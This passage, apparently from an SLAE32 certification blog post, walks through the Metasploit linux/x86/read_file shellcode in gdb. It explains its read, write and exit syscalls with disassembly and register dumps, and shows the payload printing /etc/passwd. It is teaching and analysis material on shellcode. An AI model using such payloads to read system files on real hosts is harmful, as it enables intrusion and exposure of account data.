reads from a file descriptor. The 3 arguments of read
are: fd
, buf
and count
. The return value from the open
syscall is passed at EBX
, which is the file descriptor (fd
). The ECX
points at the top of the stack and is the memory address of the buffer (buf
) to read the file into and its size is the EDX
hex value 0x1000
(4096
bytes in decimal as expected from the description of read_file
).
Instructions:
1
2
3
4
5
6
0x0804a04c <+12>: mov ebx,eax
0x0804a04e <+14>: mov eax,0x3
0x0804a053 <+19>: mov edi,esp
0x0804a055 <+21>: mov ecx,edi
0x0804a057 <+23>: mov edx,0x1000
0x0804a05c <+28>: int 0x80
We can set a breakpoint before the execution of the syscall and examine the registers.
1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) break *0x0804a05c
Breakpoint 3 at 0x804a05c
(gdb) c
Continuing.
Breakpoint 3, 0x0804a05c in buf ()
(gdb) info registers
eax 0x3 3
ecx 0xbfffee0c -1073746420
edx 0x1000 4096
ebx 0x3 3
esp 0xbfffee0c 0xbfffee0c
<snip>
The values of the registers are the expected ones again.
Syscall #3
The syscall number 4
is write
(#define __NR_write 4
). write
writes to a file descriptor. The 3 arguments of write
are: fd
, buf
and count
again. The return value from the read
syscall is passed at EDX
, which is the number of bytes that were actually read. This is the value for the count
argument. The ECX
value is preserved from before since it’s the memory address of the buffer (buf
). The value 1
is passed to EBX
, since we want to write (STDOUT
).
Instructions:
1
2
3
4
0x0804a05e <+30>: mov edx,eax
0x0804a060 <+32>: mov eax,0x4
0x0804a065 <+37>: mov ebx,0x1
0x0804a06a <+42>: int 0x80
We can set a breakpoint before the execution of the syscall and examine the registers.
1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) break *0x0804a06a
Breakpoint 4 at 0x804a06a
(gdb) c
Continuing.
Breakpoint 4, 0x0804a06a in buf ()
(gdb) info registers
eax 0x4 4
ecx 0xbfffee0c -1073746420
edx 0x932 2354
ebx 0x1 1
esp 0xbfffee0c 0xbfffee0c
<snip>
The EDX
value (2354
) is the number of bytes of the “/etc/passwd” file. It’s less than 4096, so no part is cut off. Again the values of the registers are the expected.
Syscall #4
The syscall number 1
is exit
(#define __NR_exit 1
). exit
terminates the calling process. The only argument is status
and it has value 0
, inside EBX
.
Instructions:
1
2
3
0x0804a06c <+44>: mov eax,0x1
0x0804a071 <+49>: mov ebx,0x0
0x0804a076 <+54>: int 0x80
We can set a breakpoint before the execution of the syscall and examine the registers. The payload read_file
is executed and we can see the /etc/passwd
file in the screen.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) break *0x0804a076
Breakpoint 5 at 0x804a076
(gdb) c
Continuing.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
<snip>
Breakpoint 5, 0x0804a076 in buf ()
(gdb) info registers
eax 0x1 1
ecx 0xbfffee0c -1073746420
edx 0x932 2354
ebx 0x0 0
The values of the registers are the expected and the analysis of the linux/x86/read_file
payload is over!
Summary
All the payloads (chmod
, exec
, read_file
) were analyzed thoroughly and all the described techniques were demonstrated.
Next will be the polymorphic shellcodes!
SLAE32 Blog Post
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=3
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/Student ID: PA-36167